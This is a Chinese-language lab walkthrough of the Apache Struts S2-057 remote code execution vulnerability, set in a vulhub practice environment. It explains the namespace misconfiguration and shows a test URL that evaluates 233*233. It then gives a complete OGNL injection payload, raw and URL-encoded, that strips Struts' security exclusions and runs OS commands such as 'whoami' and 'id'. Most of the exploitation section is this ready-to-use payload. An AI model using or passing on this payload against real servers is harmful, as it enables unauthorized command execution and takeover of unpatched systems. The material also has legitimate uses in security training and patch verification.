struts S2-057远程执⾏代码漏洞

一.环境

kali vulhub 靶场 /struts2/s2-057

1.1 漏洞简介：

漏洞产⽣于⽹站配置XML时如果没有设置namespace的值，并且上层动作配置中并没有设置 或使⽤通配符namespace时，可能会导致远程代码执⾏漏洞的发⽣。同样也可能因为url标签没 有设置value和action的值，并且上层动作并没有设置或使⽤通配符namespace，从⽽导致远程 代码执⾏漏洞的发⽣

1.2 漏洞利⽤：

访问靶机地址 后面加上 struts2-showcase

1.3 burp抓包

        构造payload访问

/struts2-showcase/$%7B233*233%7D/actionChain1.action

可以看到，233X233的结果已经在Location头中返回,说明存在漏洞

 构造POC，替换掉请求内容

${
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

 url编码后的poc

/struts2-showcase/$%7B%0A%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29%29.%28@org.apache.commons.io.IOUtils@toString%28%23a.getInputStream%28%29%29%29%7D/actionChain1.action

 

把whoami改成id 就可以了